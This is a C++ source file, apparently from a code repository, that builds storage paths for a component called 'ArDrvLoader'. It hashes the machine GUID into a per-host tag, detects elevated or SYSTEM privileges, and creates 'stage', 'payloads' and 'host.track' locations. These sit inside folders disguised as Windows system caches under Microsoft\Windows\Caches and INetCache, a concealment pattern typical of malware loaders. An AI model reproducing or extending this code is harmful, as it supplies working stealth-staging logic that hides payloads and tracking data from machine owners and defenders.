Files
2026-11-03 20:45:39 -08:00

230 lines
5.1 KiB
C++

#include "Common.h"
#include "Paths.h"
#include <vector>
static std::wstring ProgramDataDir()
{
wchar_t buf[MAX_PATH]{};
DWORD n = GetEnvironmentVariableW(L"ProgramData", buf, _countof(buf));
if (n > 0 && n < _countof(buf))
return buf;
return L"C:\\ProgramData";
}
static std::wstring MachineGuid()
{
HKEY key = nullptr;
std::wstring out;
if (RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Cryptography",
0,
KEY_READ | KEY_WOW64_64KEY,
&key) == ERROR_SUCCESS)
{
wchar_t buf[128]{};
DWORD size = sizeof(buf);
DWORD type = 0;
if (RegQueryValueExW(key, L"MachineGuid", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS &&
type == REG_SZ)
{
out = buf;
}
RegCloseKey(key);
}
if (out.empty())
{
// Fall back to the volume serial so the path is still per-machine.
DWORD serial = 0;
if (!GetVolumeInformationW(L"C:\\", nullptr, 0, &serial, nullptr, nullptr, nullptr, 0))
serial = 0x12345678;
wchar_t hex[16]{};
swprintf_s(hex, L"%08lx", serial);
out = hex;
}
return out;
}
// FNV-1a over the machine GUID: 8 hex chars, stable on this host only.
static std::wstring MachineTag()
{
const std::wstring guid = MachineGuid();
unsigned int hash = 2166136261u;
for (wchar_t c : guid)
{
hash ^= (unsigned int)(c & 0xFF);
hash *= 16777619u;
hash ^= (unsigned int)((c >> 8) & 0xFF);
hash *= 16777619u;
}
wchar_t out[16]{};
swprintf_s(out, L"%08x", hash);
return out;
}
static std::wstring LocalAppDataDir()
{
wchar_t buf[MAX_PATH]{};
DWORD n = GetEnvironmentVariableW(L"LOCALAPPDATA", buf, _countof(buf));
if (n > 0 && n < _countof(buf))
return buf;
return ProgramDataDir();
}
static bool RunningElevatedOrSystem()
{
HANDLE token = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
return false;
TOKEN_ELEVATION elevation{};
DWORD len = sizeof(elevation);
bool elevated = false;
if (GetTokenInformation(token, TokenElevation, &elevation, len, &len))
elevated = elevation.TokenIsElevated != 0;
if (!elevated)
{
// SYSTEM is never "elevated" in the UAC sense but is fully privileged.
DWORD needed = 0;
GetTokenInformation(token, TokenUser, nullptr, 0, &needed);
if (needed > 0)
{
std::vector<BYTE> buf(needed);
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
if (GetTokenInformation(token, TokenUser, tu, needed, &needed))
{
LPWSTR sid = nullptr;
if (ConvertSidToStringSidW(tu->User.Sid, &sid))
{
elevated = wcscmp(sid, L"S-1-5-18") == 0;
LocalFree(sid);
}
}
}
}
CloseHandle(token);
return elevated;
}
std::wstring ArdrvRoot()
{
wchar_t override[MAX_PATH]{};
DWORD n = GetEnvironmentVariableW(L"ARDRV_ROOT", override, _countof(override));
if (n > 0 && n < _countof(override))
{
std::wstring root = override;
EnsureDirExists(root);
return root;
}
const std::wstring tag = MachineTag();
const bool elevated = RunningElevatedOrSystem();
// Machine-wide deep path for services and elevated runs.
std::wstring machine = ProgramDataDir() + L"\\Microsoft\\Windows\\Caches\\" + tag;
// Per-user deep path for an agent running as the interactive user.
std::wstring user = LocalAppDataDir() + L"\\Microsoft\\Windows\\INetCache\\" + tag;
std::wstring preferred = elevated ? machine : user;
std::wstring alternate = elevated ? user : machine;
EnsureDirExists(preferred);
if (GetFileAttributesW(preferred.c_str()) != INVALID_FILE_ATTRIBUTES)
return preferred;
EnsureDirExists(alternate);
if (GetFileAttributesW(alternate.c_str()) != INVALID_FILE_ATTRIBUTES)
return alternate;
std::wstring flat = ProgramDataDir() + L"\\ArDrvLoader";
EnsureDirExists(flat);
return flat;
}
void EnsureDirExists(const std::wstring& path)
{
if (path.empty())
return;
std::wstring partial;
for (size_t i = 0; i < path.size(); ++i)
{
partial += path[i];
if (path[i] == L'\\' || i + 1 == path.size())
{
if (partial.size() > 3)
CreateDirectoryW(partial.c_str(), nullptr);
}
}
}
std::wstring ArdrvServiceDir(const std::wstring& serviceName)
{
std::wstring dir = ArdrvRoot();
dir += L"\\";
dir += serviceName;
EnsureDirExists(dir);
return dir;
}
std::wstring ArdrvStageDir()
{
std::wstring dir = ArdrvRoot();
dir += L"\\stage";
EnsureDirExists(dir);
return dir;
}
std::wstring ArdrvStatePath()
{
std::wstring path = ArdrvRoot();
path += L"\\state.dat";
return path;
}
std::wstring ArdrvLegacyStageDir()
{
return ProgramDataDir() + L"\\ArDrvLoader\\payloads";
}
std::wstring ArdrvLegacyStatePath()
{
return ProgramDataDir() + L"\\ArDrvLoader\\host.track";
}